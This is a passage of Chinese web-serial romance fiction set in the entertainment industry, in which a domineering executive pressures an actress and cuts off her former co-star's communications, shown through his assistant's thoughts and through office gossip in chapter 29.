他进去，惊奇地发现，以往日的作息，陆总现在应该休息就算了，这么两份简单的合同，他居然翻得非常细。 还好可信度倾向已经固定在陆其昌这个人，手腕狠但是确实有实力上，不然系统会怀疑，何修真的会觉得，陆其昌其实看不懂这两份普通的文件。 何修安静地站在一边，垂眼，等待指示。 陆其昌放下文件，现在终于透露出一点疲惫，不过他的嗓音是愉悦的，尾音微扬：“送回去了？” 陆其昌并没有说安排具体是什么安排，他还是送的酒店，不过何修跟在陆其昌身边这么多年（何修认为自己应该不会死心塌地地跟着一个短期合同老板打工），还是第一次发现，原来陆总这么脾气暴躁的人，也有心情好的时候。 怎么说呢，像一只捕食后有点餍足的狮子，虽然恶劣和暴戾依然是他的本性。 还是有点讨厌，何修心想。他最不喜欢这种有一点权力就可以凌驾于他人之上的人了，但陆其昌有一点就是至少非常大方。 陆其昌能看出来何修其实是在以和陆其昌接触最多的人的身份，往自己可能会追随的领导的形象方面塑造陆其昌，不过他并不排斥。 演戏的时候也是这样，一个人的人设，当然不可能是由她自己一个人完全完成的，自然会受到其他人的影响，只要内核不被完全篡改，陆其昌乐见其成。 不过他愉悦并不只是因为办成这件事——很多精致利己主义者的快感都来自于掌控欲的满足，和成就感的上升，能让盛蹊这样的人低头，难道不值得他拥有好心情一会儿吗？ 不过自然是暂时的，陆其昌的情绪很快平静下来，他掀起眼帘看了何修一眼，然后接着说：“我来天光，只是暂时的。” 本体的事已经解决了，现在最重要的是确认他和宋寅在天光娱乐的性质。宋寅好说，不管怎么样都只是签约的演员，但他，如果真的有什么很大的背景和商业抱负，副总必然只是暂时的。 何修点头，他想起来了，陆总回国之前确实搁置了一部分工作，但毕竟只是搁置，身为这么高级别的一个董事，让他忽然放弃一切，可能吗？ 陆其昌屈起手指，敲着红木桌的边缘，这个动作在其他人做来很刻意，但是他做来非常心不在焉。因为陆其昌是个追求效率的人，大部分情况下，他不会有什么别的动作，而只专心追求结果。 他现在有这么随意的思考动作完全是因为，这件事对他来说不是完全的公事，完全是他兴致起来之后，出于个人喜好，在这个时间突然想做的。他的动作传递出这一点。 何修低头，更担心盛蹊的以后了。 陆其昌嗓音淡淡：“我打算把你放在这里。” 何修猛地抬起头，不是因为惊喜，当然不是，空降一个公司的副总，对其他人来说可能是天降好事，但是对何修这种级别的高管——他以前是董事长助理，也属于高管级别的——这几乎属于降级了，尤其是天光在他眼里完全不够格。 但是他很快意识到陆总说的话意思是什么：“您想……” 陆其昌：“我对娱乐圈不感兴趣。”他说话的时候还是那种很轻慢不屑的，嗤的一声，高傲语调，不过，他的新计划到了，他当然有长期和大批量投入的时候，所以他的决定是：“最多半年，你在这扛着，然后我把你调回总部。” “总部？”何修脑海中关于集团的概念还没有完全成型，所以这句话的可信度倾向其实一直在闪烁。系统都差提醒盛蹊不要步子迈得太大一上来构建这么大的概念的可信度偏向了。 但好在陆其昌很快说：“路途娱乐的总部。”他说话漫不经心，充斥着上位者的自信和理所当然：“我全资控股。” “……”何修的呼吸窒了一下。说实话，即使他在之前还自作主张地可怜了盛蹊一下，但很快他就觉得可怜的是自己了，娱乐公司，全资！ 在娱乐圈版图被瓜分得差不多的今天，入行可不仅仅需要钱，还需要地位，需要行业巨头领进门的敲门砖。 不然仔细想想，那几家公司办的平台项目，全都不给你入场券，你就算办起来了也只有吃挂落的份儿，可是陆总可以因为仅仅一个盛蹊，就回国办全资…… 他很快想到一个很现实的问题：“您人在国外，公司却……会有法律风险吗？”这并不是他危言耸听，而是他在做高秘时确实遇到过这样的问题，当然了，也不是百分百的，只是他想借此试探陆其昌的态度罢了。 陆其昌果然也听出来了，狭长的眼眸似笑非笑地看他一眼，但这是他第一次，瞟他却不带任何暴戾和不耐，仿佛他心情好了，所有人都跟着好了。 陆其昌轻描淡写：“国外有什么值得我非得待在那的吗？” “……”何修又无言了。 他之前只觉得陆总是随便玩玩，甚至不是因为盛蹊实在是太对他脾气，而是单纯因为第一次遇到过怎么砸钱都砸不穿的人，胜负欲作祟外加本来就小气而已。 他去补课盛蹊之前被污蔑什么，都觉得陆总不是太能忍了，而是根本不在乎盛蹊被别人说什么，被抢过多少次角色。他只是纯不爽盛蹊驳他面子而已。 但现在，为了盛蹊回国，全资办娱乐公司，甚至让自己这个左右手当副总，就为了把这个过渡性质的天光娱乐稳住—— “陆总，您真的，只是想和盛老师签那份协议吗？” 陆其昌抬眸看他一眼。 协议拿去盖章的时候何修看了，里面也没什么特别的内容，以他的经验，和一般的演员个人约一样，只是一份书面委托的文件，而且因为盛蹊现在的合同是在宁戏这里，这份合同还没有法律效应，盛老师签字的时候，是纯给陆总一个承诺而已。 但现在，他真的觉得不仅仅是委托经纪约这么简单了，他又想到“你可以和我结婚”这句话。何修忽然有点怀疑，高层次精英人士的婚姻恋爱模式这么简单的吗？ 我需要和你结婚，所以我得到？但是协议又仅仅是工作方面的内容，虽然他知道别的也不能写，但是也太莫名了一些…… 陆其昌屈着手指顶着太阳穴，看着可信度倾向，变来变去，然后道：“你觉得我是那种玩金主投资游戏的人吗。”他说这话的时候不带任何辩解，反而是一种嘲讽。 他当然能看出来天光上下，何修对这件事的八卦，但是以他的地位，他上位者的处境和心态，他不需要解释。他现在解释纯粹是因为，他觉得这件事太low了。 也对，陆总是从国外回来的。 陆其昌语气毒辣：“开几场派对，找几个脸嫩的模特女星，然后满足自己的私欲，腻了就丢几个资源，让她们打架。”他冷冷扯嘴角，眼神里透露出厌恶：“别拿我和这些脏东西比。” 他就是单纯看不起家里有钱玩票的人，创二代看不起富二代，是富人圈里自然存在的鄙视链，而陆其昌洁身自好的原因也非常简单，他嫌脏。 但是这关何修什么事？他关心的就是一点：“盛老师在天光娱乐是……”他到底该怎么对待盛老师。 这关系到他以后是把她当成夫人，陆总的女朋友，还是仅仅是陆总看中的一支潜力股，或者他很想投资，但是却屡次拒绝的千里马好吗。 何修本来以为是后者，现在却越发觉得是前者。但是陆总的态度又让他觉得很怪。总而言之，他看不懂。 陆其昌起身走到窗边，俯瞰车水马龙的城市。这个背影让何修觉得，陆其昌其实和没有想好。归根结底，盛蹊对他是特别的。 他之所以在威逼她的时候说出，居高临下的“你可以和我结婚”，原因也未必是真的就想到结婚那一步了，而是他恰好没有喜欢到可以结婚的人，而盛蹊激起的他的兴趣，恰好让他愿意付出婚姻这一步筹码。 而且都富人了，谁还在乎一个妻子的位置啊？他更像是只想要得到，得到后开始思考，这个位置对他意味着什么。 这确实也是陆其昌对自己人设的打算。他在高空玻璃的反射里，看见何修变化的可信度倾向偏向自己想法这边，随意地嗤了一声，伸出手指摸了摸玻璃上的灰尘。 空无一物。 何修觉得他会突然想起盛蹊头发的触感。她不是一个特别脆弱的人，却因为他那几句话，轻而易举就被击溃了。 何修忽然觉得自己想法错误。 他可能会在得到盛蹊的妥协后心态发生变化，但应该不会觉得无趣吧？因为她认命地对他说可以，签下那个协议的时候，他的目光分明不是了无生趣的，而是追随的，是他已经得到了，但是仍然探究专注的目光。 他仍在思考，她妥协后在想什么。 陆其昌的话惊醒了何修：“管他们在想什么……”很符合他品性的傲慢。 反正只要有他在，不管他们在想什么，难道敢在他和她跟前说吗？何修想说盛老师可能会被人说闲话的，但想想陆总其实也不在意，或者还没到在意的时候，所以也就不说了。 他只点头：“好的，那我现在就去落实转让房子产权的协议。” 陆其昌转过身来，漫不经心的，同时也是为了符合人设的，随口慢慢地说：“也问问那个演戏的宋寅。” 他再去伸出手指去摸红木桌上的灰尘，好像只是在检查干净，但是以他的职位没人敢让他的办公室落灰：“愿不愿意把合同转去别的公司续约。” “…………”这回何修的沉默长了很多，看似是询问，其实是要求。他就知道。 一个靠掠夺获得优胜资格地位的人，不会允许自己的任何一只猎物，落在别人的捕食地盘上。哪怕宋寅什么都没做。哪怕盛蹊什么都没说。 她签的是工作协议不是卖身契，那又有什么关系？资本家就是习惯你的身心也要一起掌控，况且，陆总应该也发现了，他的目的不单纯。 他口口声声要捧红她，他只是想做那个，说服千里马接受，跑得快先要包装的伯乐，但实际上，他说服她时，还是把她拉到怀里，紧紧攥着她的手逼迫她只能看着他。 他可能比一般，或者小说里说的那种包金丝雀的金主高尚，但也高尚不到哪里去。他的道德底线取决于，盛蹊愿意为了她将得到的付出什么。 何修走出办公室，后背突然麻了一下。他想到，如果盛蹊直到以后很久都不愿意付出什么，或者坚持不肯妥协的话，陆总他也不是做不出强行逼人屈服他的那种事。 他只是觉得还没到那步而已。就像轻描淡写去摸桌子上灰的那几个动作一样。他想换一个更大的办公室，难道一开始就要把整栋楼拆了吗。 是因为，他还没有向盛蹊提出更过分的要求，因为他对她的欲望还没有到这一步。 “……”何修闭了闭眼，总感觉其实有钱的人，尤其是娱乐圈这种暴利的地方，有权的人其实已经游走在法律边缘了，但还好陆总没有做到突破法律底线那一步，而且，以他对陆总的了解来看，他可能真的会威逼。 但不会真的强迫。毕竟他说过，他喜欢人一步一步走到自己身边，而不是他强行把人绑来。不过逼人自己妥协，和让人不妥协也得妥协，也不知道哪个更过分了。 他只能在心底叮嘱，以后要对盛蹊更客气点，也不能让她发觉陆总的心思，然后就去办过户的事。 期间他去看了看盛蹊，准备了一些餐饮——都是高端饮食，特别烹制的，他发现盛老师不是特别喜欢，连陆总，收到消息之后，也不怎么吃了，脸色淡淡的，当天还嘲讽问他，口味怎么退步了。 何修只能重新订过，并且送花给盛蹊希望盛老师的心情好一点。 然后周宇的事终于迎来了落幕。 落网前一天，周宇在全网对盛蹊还有其他的受害人公开道歉，素颜视频，非常憔悴，但是依然没有什么作用，热搜爆了一天的同时，晚上他就进去了，看来幕后黑手并没有放过他。 何修默默地去敲办公室，准备和陆总汇报宋寅的情况，他当然也尽力了，但是鉴于宋寅和盛蹊的特殊关系，他担心力下猛了会惊动盛老师，特地来请示，结果发现盛老师在陆总办公室里。 隔着红木桌，她坐在他对面，陆其昌握着那只名贵的钢笔在签字，她坐得端正，一直注视着他。 陆其昌好像很不想看见她，眉眼淡淡的，签字潦草笔走龙蛇，房间里很安静，只有签字的声音，盛蹊说：“我没有回圈的打算。” 陆其昌没什么反应，她继续说，手指是捏紧了的，何修特别擅长观察，所以他顺利留意到盛蹊有些紧张。 看来她知道自己是在和怎样的魔鬼交易。“暂时。” 她补充的这两个字很快激起了魔鬼的兴趣，他笑了一下，右手先放下笔——名贵的钢笔一般都是很沉的，他几乎又是甩了，所以发出很大一声。 还好，陆总还有点绅士风度，讲话很彬彬有礼，甚至还有礼貌倾听的一点架势：“是因为你灰了心丧了气，还是单单是因为，你是在他直播间里宣布的退圈？” 盛蹊看着他没有说话。 “对，我不介意。”陆其昌一边说一边把钢笔盖上，何修这才发现陆总没有把文件签完，最后一笔带出很长一道，对于一个做事注重效率，签合同绝对不可能不一次性签完的人来说，这行为可以说是很恼火了。 何修觉得陆总在和盛蹊接触的每一秒，脾气都在变得更好，但毫无例外最后一刻都会发火：“但你是不是忘了。” 他盖完笔，好整以暇地站起来，高大的身形让他再次对盛蹊形成了完全的身份压制，盛蹊落后半步站起来，虽然她的眼神没有闪躲。 “我才是这家公司的副总。”他语气轻柔：“你是教他来反抗我，是吗？” 盛蹊的情绪变得激烈，虽然她的声音没有乱，但是明显，她上次都没有拔高声音，但是这次拔高了，虽然只是一点点，她仍然倔强：“我说过，你也答应过我，我需要一点时间……” 陆其昌长久地注视着她，像在看一个不识好歹的赌徒，但他的眼神实在是太专注，太，不像看其他人的时候带着那种明显的挑剔和嫌恶，所以显得居然还挺亲近的。 他好似只不厌恶盛蹊的蠢笨、那种在精致利己主义者身上绝不可能看到的无私奉献，他唯独能接受她身上这一点。 所以那种恶龙教会傻白甜公主使用武器，反击霸凌她、送她来安抚恶龙的国家的戏码，在他和盛蹊身上体现得特别明显。 他用稀奇地，几乎不带任何怒意，但仍然是气笑了的状态说：“你是不是把宋寅，看得比你自己还重要？” 他捏她下巴，这是一个非常侮辱人的姿势，但是隔着办公桌，加上他并没有强迫她抬头，而是固定她的目光，使她只能平视他，不能转开视线。 所以 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陆其昌面无表情。他现在不光是以陆其昌的人设，觉得他等不了，而且是站在本体立场，他也怀疑陆其昌这个角色的可靠性会随着时间延长而逐渐减小，到时候本体可能就没有他这个靠山了。 但是，他确实是这个想法。这不是之前那个争端。 好吧。他心里是如此妥协的，但面上依然双手插在口袋里，很不在乎的精英面貌，他的语气近乎冷漠：“需要多久。” 盛蹊安静一会儿。她低下了头。 她说：“可不可以先给宋寅机会。” “……”何修心想这位姑奶奶可真是敢说。 陆总也如他所料被她气笑了。他转过身看了看办公室里挂着的风雅字画，又转过头来看她几眼，然后伸出手动动手指：“过来。” 盛蹊顿了顿，慢步走过去，仍然隔着红木桌。 他的手落在盛蹊的脸颊上，她没躲，只是眼睫颤了颤。何修依然在思考为什么陆总用平常侮辱人的方式对待盛蹊，他却不觉得他们是不平等的。 或许是因为陆总每次其实都得到了她的许可——她刚刚不走过去，他也没有动怒。又或者是，他的眼神里，总是夹杂点别的什么。仍有愤怒，仍有轻慢，仍有不屑，但总是闪动着，好像还在她身上看到了别的什么。 他摸了摸她的脸，是轻柔地摩挲着的，何修不敢看了，他思考他现在走是不是会被陆总发现。 “觉得自己不好看？”何修觉得近乎惊悚，因为陆总这句话竟然堪称温柔。 他摩挲她的脸颊，语气依然温柔，但却用温缓的语气说着诛心的话：“那他的成功又和你有什么关系？总是喜欢走远路。” 他喟叹一声：“没关系，我陪你。” 盛蹊：“你不要去宁戏，不要打扰我演戏。我会去找老师，进组她那部戏……”她好像忽然想说些什么，语速再快些就接近语无伦次了。 她忽然又停下，说：“我是不是，很蠢。” 相信宁露姐真的觉得她有潜力也蠢，以为宋寅有了张脸就忘记了真正想要演出别人想看的戏是自己的也蠢，最后还是靠自己走上这条路，也蠢。 陆其昌没说话。何修心想以陆总的毒舌程度，他再不漫不经心点就会说是了，但是他只是摩挲着她的脸，像在看一个很漂亮的花瓶的温度，他感受她的裂纹，她是怎么被烧制成这个模样，她现在，青色花纹下，装着的是什么样的瓷胚。 他说：“也许我和你一样蠢吧。” 他随口说了这句话，然后压下眉心中的不耐，和何修说：“去问问宣发，买下《若星辰》这部剧的版权，还有和《绣年》这部剧的平台说，我们愿意买开屏。” 他就这样漫不经心地说着动辄可能几百上千万的开销，然后眉头舒展开，说：“我们今天一起吃个饭吧。” 盛蹊似乎有点怔愣，何修看过票所以知道盛蹊本来今天就走了，她也确实没有这么多可信度。 陆其昌微笑：“你不觉得值得纪念吗？”他面带嘲讽：“你和那个宋寅，也就是无声演了几个片段吧，一句话都没说，盛蹊。” 他这么喊她的名字，收回手：“我可是和你有来有回了好几次。”他轻声：“也算是，真的深入了解你一点了。” 盛蹊自然不会和自己的念头说不行，她转过身去，离开办公室。 何修送完人回来，陆总在闭目休憩，他有很多话想问，陆其昌睁开眼睛说：“……确实蠢。”他凉薄地吐出这三个字，然后复又闭上眼睛。 “给宋寅也接一部封闭式训练的戏。” 她答应过老师不尝试入戏，既然快进那个组，马甲自然也不能。 何修：“宋寅的助理要求恢复他的通信。” 陆其昌仿佛想了想，然后又觉得这事儿很不值一提似的，把文件翻开继续看，然后单手打开钢笔的笔帽，还好钢笔质量好，没被他那一下摔坏了，陆其昌边签边说：“给他就是了。” 这话说得就像是以前又不是没有这样干过。 何修看他一眼，突然想到，宋寅在很多公开场合说过他和盛老师很多年没有联系。其实未必也是盛老师记恨疏远。 陆总一向不择手段不是吗？ “还不去？” 何修低头，快步走出办公室。 陆其昌冷笑一声。 等宋寅拿到资源演完。盛蹊，你还是那个胆小鬼。他闭上眼睛，摸到自己眉心的竖纹，又眉头一动。还好，我们几个都是那个胆小鬼。 宋寅拿到手机，第一时间查看周宇的舆论，其实在其他马甲那也能看到，只是她总分心，反而不辨状况。 李珂很担心，但说不出口。以她的敏锐，当然知道宋寅毫无缘由就被公司收走了手机是很不寻常的，但她的手机也被扣起来了……而且她也没有能量打听。现在还回来了，她更担心了。 还好，周宇倒台了。盛蹊的那个绯闻博下面很多人让之前骂她的粉丝出来道歉，还有人想考古她的博，没有找到。盛蹊超话再次热闹起来。 宋寅看了很久，很久，久到李珂都担心说要不她还是把手机放起来了，宋寅说：“她又回宁城了。” 他只是说那条热搜，没想到粉丝现在还在关注她的行程，但李珂注意到的只有一件事。他知道她来了，他可能以为，她是来见他。 没想到她没见他就走了。所以，他没想到、想确认的是这个。他想知道，他有没有错过她的消息。 李珂心里闷闷的很难受，和程梦说起这件事，程梦却注意到不对劲的点：【不是来见宋老师，为什么偏偏卡在盛老师到姑妄的时候收他的手机？】 李珂也猛地惊醒：【会不会是被删干净了？】 但是她们两个人都知道，这只是她们个人的猜测，没有什么证据，而且，这猜测其实也没有什么来由。盛老师和宋寅疏远那么久，会忽然因为一条新闻亲近他吗？她会的话，也不会在那个时候官宣退圈了。 但是……程梦总觉得哪里不对劲。 她想起自己原来有个朋友在天光当运营，费尽心思七拐八折，打听到她那里，她说： 【你别管了。】 【反正很恐怖。】 【我劝你也不要再嗑他们的CP了。】 她一句一句发，程梦一个字都看不懂，她只能发回一个问号。但可能是这个瓜太惊人，她还是忍不住发来给她吃了： 【盛老师的通讯不是她自己管的，而且她那么关注宋寅的消息，不可能不知道他消失的几年出事了吧，他销声匿迹她不会担心？而且互联网这么发达，有人让她不知道，才正常吧】 【资本家都心黑手狠的真的】 程梦：【你能不能说得再清楚一点】 朋友：【说不清了，反正我们都不知道宋寅会不会退圈就是了】 程梦：【？？？】 朋友：【你知道吗，我以前都不觉得盛蹊漂亮的，现在我真的觉得，情有可原】 【你到底在说什么啊】 朋友不言，发来一张新图： 【涩涩CP，我另有人选.jpg】图上的主角之一是盛蹊。 程梦终于懂了，她这意思是，在她们不知道的地方，盛老师又冒出一对新的CP，这些年的通讯是盛老师的这个CP拦的？不是，这都哪里冒出来的？程梦震惊了。 29. 第 29 章 没人知道天光娱乐里面在嗑什么。 祝游，本来只是天光娱乐里一个花名叫柚子的普通运营，那天抱着电脑去找前辈请教问题——没错，她甚至还不是一个正式员工，只是实习生，但是偶然发现新来的副总正在发火，迫不得已在前辈旁边空的座位坐下的时候，还不知道自己将眼睁睁见证什么。 在听到陆总怒吼的时候，她只敢双手合十闭着眼睛举过头顶，希望前辈不要揭发她，说她连自己的座位都不敢回去：拜托，谁敢在上司发火的时候抱着电脑走来走去啊！ 可是还不等她向前辈祈求千万不要骂她的时候，她突然听到了一个惊天巨瓜—— “所以你说你需要我，都是在耍我了！” 她发誓，在听到陆总这句怒吼之前，她还是完全沉浸在职场新人战战兢兢的身份代入里的，听到陆总的声音也只有一个闪念就是陆总的“台词”可真好啊，这么怒气勃发，这么厉吼，还能听得清清楚楚。 可她都没有胆代入那种年纪轻轻，位高权重的现偶男主。虽然陆总的年纪和他们比起来也不年轻了，只能说是正值壮年：三十岁的霸总放小说里是非常有魅力，放现实里就是一等一的push好吗。 可是陆总这句话吼出来，祝游一下就出戏了，也不是出戏了，是她的脑子，CP脑，已经完全被另一种刺激剧情给占据，那就是，强制/爱啊我靠！ 那一刻就算顶着可能被骂得狗血淋头的风险，她还是忍不住稍稍偏头，虽然她看见一向稳重的前辈也偏了，还和她默契地对视一眼，一切尽在不言中，然后她就看到前段时间还在热搜上的盛蹊被拽出来。 祝游的眼睛一下就瞪大了！ 作为运营，她当然知道盛宋这对CP，在被工作缠上的时候，还偷偷嗑过几口，毕竟是身边的人，怎么可能没有网上说的好嗑呢，就是因为宋寅是她们公司的她们才更爱看啊。 但她万万没有想到，在宋寅为了房子的事（她偷听到过一点儿）和周宇正面硬刚的时候，盛蹊盛老师居然来了她们这里，还和陆总扯上了关系，怎么回事？！不是说盛老师没有后台吗？ 转椅滑动，前辈在她耳边小声说：“我听说陆总很早以前就想捧盛蹊了。” 祝游：“！！” 她以实际行动表示了再多来点：她把转椅也悄悄挪过去，然后一边偷偷看，一边目带震惊地听前辈八卦：“真的，我和你说，何助和那个公关团队就是跟着陆总回来的，我听说陆总本来早就看周宇不爽了，但是因为盛蹊一直不理他，硬生生没有按下他，就等着看盛蹊什么时候听他的。” 祝游被塞了一口大瓜：“不会吧？盛老师不是和宋寅……” 前辈声音里气音更重：“所以陆总才生气啊！你不是送过资料嘛，陆总那个脾气，啧，你懂的。” 祝游感同身受地点点头，虽然她在吃瓜之前还没什么体会，但现在被前辈“提醒”，她立刻想起来陆总那张刻板阴沉的脸，虽然第一天看到的时候感觉是真的帅，但也是真的狗啊！隔壁同事就一个词写错了，居然被他骂得狗血淋头。 前辈再接再励：“而且他还很喜欢以势压人，你知不知道盛蹊之前本来有一部剧都快爆了的事，就是因为陆总不给她过，所以基本上没有什么营销号帮她，连剧组自己的人都在骂？” 祝游震惊：“这么恶心？” 前辈拍她：“不是你想的那样啦，是这部剧本来是给男女主升咖的，可惜盛蹊爆了，然后那个时候那个副导演就想暗示一下盛蹊嘛。但是盛蹊没去，然后这部戏的主演其他角色就都出来骂她了。” “我靠！”祝游追问，“这不会和他有关系吧？！” “哎呀你听我说嘛，陆总当然是不可能让盛蹊去的，我听说他也不是想潜规则，就是单纯喜欢捧人，而且他们圈子里好像还挺喜欢这个的，就是我当你的贵人，你提携我，然后我们就是一条船上的了，然后陆总可能就很喜欢盛蹊，盛蹊这个角色，所以他就让那个副导牵线，谁知道那个狗，知道盛蹊没有攀上陆总之后，就想落井下石。” 祝游终于懂了：“哦，我知道了，陆总拦住了，但是他没让盛蹊的事顺利翻过去是吧？”她目光灼灼。 前辈给了个肯定的眼神：“不就是这么说嘛，那个副导我听说也没在圈子里混了，但是盛蹊还是死活不愿意跟陆总混，然后那部剧就播得很惨淡，而且直到现在还在被骂。”前辈摊手。 祝游有点心绪难平，愤愤道：“虽然这个事不能完全怪他，但是他要承担一小点责任吧，要不是他让那个副导演把盛蹊引荐给他，她能被副导盯上？” “唉，这种事谁知道呢？可能没有这个副导也有下一个啊，而且盛蹊那部戏火得挺招人恨的，当时我有个朋友在女主团队里，哎你别说出去啊，和男主联手给盛蹊下黑稿，导致现在还有人以为，盛蹊在这部剧里其实演得超级差，都是靠营销才吃到黑红的。” 祝游心里已经偏向盛蹊了，很生气：“胡说八道！” “对啊，就是胡说八道，然后这个时候，陆总又来了。”这个时候暴怒的陆其昌已经把盛蹊拉回办公室，而且门都重重关上了，大家都被吓了一跳，但是对视几眼没敢说话，都在窃窃私语。 最激烈的就是吃瓜这边，祝游已经看到谣言在不下五对交头接耳的同事那里飞速扩散了。 当然她这里也是。 前辈招呼另一个同事加入了，拿本子挡着继续说：“他找盛蹊说，你已经看到了，不跟我合作有什么后果，你和顶尖演员会一直是这个区别，然后要是你加入我的话，就会资源，什么名导导戏，名额都会有嘛。” 另一个同事宛宛发言：“他真的不是想潜盛老师吗？” 前辈：“你听我说，真的不是！这件事我最有发言权，因为你知道为什么呢，刚刚开门的时候你们听到没有，他说，你可以和我结婚！” 她如愿见到了两双倏地睁大的眼睛，甚至比一开始吃瓜的时候还要大，前辈心里满足了，继续说：“所以当时我们都说，陆总肯定是喜欢盛蹊！结果，他知道盛蹊这次依然是来拒绝他的时候，一下子就发火了，刚刚有人进去，还看到椅子都倒了，应该是何助或者盛蹊怕不安全，才把门推开的。” 祝游：“结果让我们吃到瓜了。” 前辈神秘兮兮：“没错，你们吃那个瓜没有，陆总十几年前在大学的时候是有一个女朋友的。” “不是盛蹊？” “当然不是啊！他俩差了十几岁吧！” 祝游：“……他们是同辈啊！你是不是记错了，盛蹊也二十九了，她入圈都快十年了！” 宛宛举手：“陆总听说也三十二了。” 她们对视一眼：“这么说，陆总上大学的时候盛蹊也还在上大学。”妈呀，感觉吃到了惊天巨瓜！ 但是自行脑补了这是什么替身或者金丝雀文学的前辈已经自顾自摇头：“不对不对，我听她们传的时候，是陆总女朋友把他给甩了，所以他找到和他女朋友长得一样的，才想捧她！” 祝游提出质疑：“不可能过了这么多年的白月光还念念不忘吧，而且陆总一看就不是那种会恋爱脑的人。”宛宛连连点头。 最终两人对陆其昌“冷血资本家”的可信度偏向，还是打败了前辈的“念念不忘白月光”可信度偏向，让前辈脑补的替身故事也朝另一个方向发展了—— “难道真是我记错了？”前辈开始怀疑自己：“但是我听她们说，陆总这些年确实是单身啊，而且他好多年不回国内来就是因为女朋友在这里伤他心了。” 祝游和宛宛：“……” 祝游：“我觉得更像是事业有成之后忽然找到一个合自己心意的人吧，他也不像是会一见钟情或者真的喜欢上某个人的那种人，我感觉更像是看中盛老师了，但是不是想和她结婚就是……”她看向宛宛。 宛宛肯定点头：“就是想捧她。” 前辈：“……” 祝游握着根笔，这本来是她用来记笔记的，现在变成了她分析CP的有力教具：“我觉得这还挺正常的，人获得了世俗意义上的成功……额，至少我认为像陆总这么成功之后，他就很难忍受别人不鸟自己了，还总是想追求点别的，尤其是扶人一把改变人整个命运这种。结果盛老师不理他。” 还是他主动和盛老师抛出的橄榄枝。他当然就破防了！ 宛宛忽然摸鼻尖：“怎么那么像我大学时候老师要我做一个项目，我死活不愿意去，老师恨铁不成钢。” 祝游点头：“很像这种，但是资本家的选择肯定更傲慢，他肯定是觉得盛蹊有演技，然后他有手腕，盛蹊肯定能红，她红也是证明自己眼光和能力水平了，但是没想到盛老师这么不买账。” 宛宛也是嗑过盛宋的：“看和周宇的绯闻就知道盛老师是个很刚的人！” 前辈：“嘶，怪不得陆总刚刚那么暴怒，他估计以为自己扳倒了周宇，盛蹊肯定是来找他妥协的。” 祝游：“那也不是他扳倒的吧。”察觉声音稍大，她压低声音嘀咕：“不是宋寅先告的么。” 宛宛客观分析：“但是没有我们公司推波助澜，周宇还是塌不了台的，我听说关于他的代言都让隔壁亏三个了。” 前辈：“唉，这年头背后没有资本哪里混得下去啊。”就连她们，都是因为弹丸小公司，忽然来了陆总这个巨头魔头，才有点说话的能力，不然周宇和宋寅混战，根本没她们发声明的份儿好吗。 三个人再度对视一眼，然后又有人加入，小声问：“哎哎，在说什么在说什么，加我一个。” 祝游有点犹豫：“所以陆总这是和盛蹊撕破脸了吗？” 前辈摇头：“不至于，刚刚还有个瓜你不知道，你知道陆总从几年前开始让盛蹊和他合作了么？” 祝游：“？” 前辈张开手指：“五！五年前他刚开始在国外做风投做出点成绩的时候，就已经准备捧盛蹊了，但是盛蹊愣是一个字都没应，所以她这些年，唉，混得也挺艰难的，她那个公司本来也不是什么好公司，还有人一直打压。” 宛宛小声：“他就没想着帮一下什么的么？” “屁！”还是职场老油条懂门道：“他巴不得盛蹊越混越惨越好呢，包括你们不知道，其实周宇一开始造谣盛蹊的时候有人告诉他的，他说什么，等她没办法了自然会来求我，还有这次，虽然说我们请的公关团队发挥了很大作用，但是没有宋寅告周宇你觉得他会出头吗？他就是等着盛蹊上门来认错呢！扳倒周宇，他巴不得周宇一直让盛蹊灰心丧气然后好让她转投到他那。” 祝游无心纠正前辈刚刚还说周宇就是陆总扳倒的：“还是说其实他也以为没有他没有人能把周宇扳倒呢？所以看到宋寅出手了他发现周宇真可能倒了，然后立刻和盛蹊说，都是他做的，如果你不答应我，就是不承我这个情……” “真有可能。”不然以陆总那个脾气，怎么可能他费心费力操办了这一切，还忍着等盛蹊来找他说，她不愿意呢，怕是早把办公桌掀了。虽然已经掀了。 宛宛小声：“还有宋寅在我们公司这呢，他不会和盛蹊说，你不听我的没事儿，但是宋寅他以后……” 祝游：“！！我靠！”她的反应明显引起了周围人的注意：“怎么怎么？” 祝游刚刚还骂过公司有病，现在全对上了：“刚刚何助找我要宋寅的资料了！” “……” 尤其是半天之后，何助还让她把宋寅的账号给禁言了。 禁言，公司内部手段，其实就是把艺人公共账号回收改密码不准他们用的意思。没出这件事之前，祝游以为只是单纯的公司艺人矛盾。 出了这件事之后，她怎么感觉这个瓜这么精彩啊！陆总这么严厉神经病的人会在盛蹊这里吃瘪，要捧她五年，任她各种吃苦头也不见她回心转意就算了，回国第一个职位是娱乐公司的副总，还是公司里管着宋寅的，副总？ 她在小群里和前辈宛宛，还有很多吃瓜同事一起讨论： 【该不会是因为知道盛宋他们的关系，用宋寅威胁她吧？】 【没必要，有点狗血苦情戏了就是说】 【是不是因为他把周宇干倒了，盛蹊真的没办法还他这个人情啊，人家帮你签字办了个事儿都要送点礼呢，斗倒周宇……白熊不知道亏了多少钱了】 【他还挺狡猾的，这个时候斗周宇根本不用花多少力气】 【但他是真的想捧盛蹊啊，公司多少人什么都没干就被他骂死了，盛蹊那么刚，居然还是好好的（惊）】 【因为他想盛蹊真正给他低头啊，我听秘书办说，前几天办公室的花都换了，秘书姐姐还说是发生了什么好事呢，现在想想，该不会是因为盛蹊要过来吧……】 【我靠，真让我吃到娱乐圈的瓜了，虽然是退圈版】 【其实这个瓜真的不无聊，换成娱乐圈任何一个顶流女明星，都要吃到猴年马月去了，盛蹊吃亏就吃亏在她的脸真的不是很惊艳的那种类型，不是有质感有弧光的角色撑起来，真的很难红】 【但是陆其昌除了脾气不行其他还是挺好的啊，盛蹊为什么不乐意啊，反正我听到这个瓜的时候第一反应是答应了绝对能红】 【有自己的追求吧】 【其实我挺能理解她的，想想自己读书读了那么多年，一个煤老板说你给我研究这个那个敛财的技术，我也会觉得……好不甘心】 【其实只是因为盛蹊觉得自己真的能靠演技红起来吧，而且陆总很明显也是拭目以待那种表情，结果这个结果，看了让人好难受】 陆其昌依然是大权在握，随便回国接任一个副总的职位，就可以轻轻松松让周宇垮台的冷血精英，盛蹊依然是那个没有什么好角色，只能泯然于众人矣的平庸演员。 她做的没什么不对的，可是陆其昌的傲慢和冷眼看待就像是另一个甩在盛蹊脸上的巴掌，其实她已经不想在公众面前演什么戏了，但是站在陆其昌面前，她依然没有那种底气。 忽然有人说： 【这么看其实陆总挺好的，盛蹊不温不火这么多年了，他其实一直在等她自己来找他，也没有暗示其他人把盛蹊带过来什么，当然我不是说这样做就是好人的意思！我的意思是说，至少在娱乐圈这帮人里，陆总还算是有底线吧，唉】 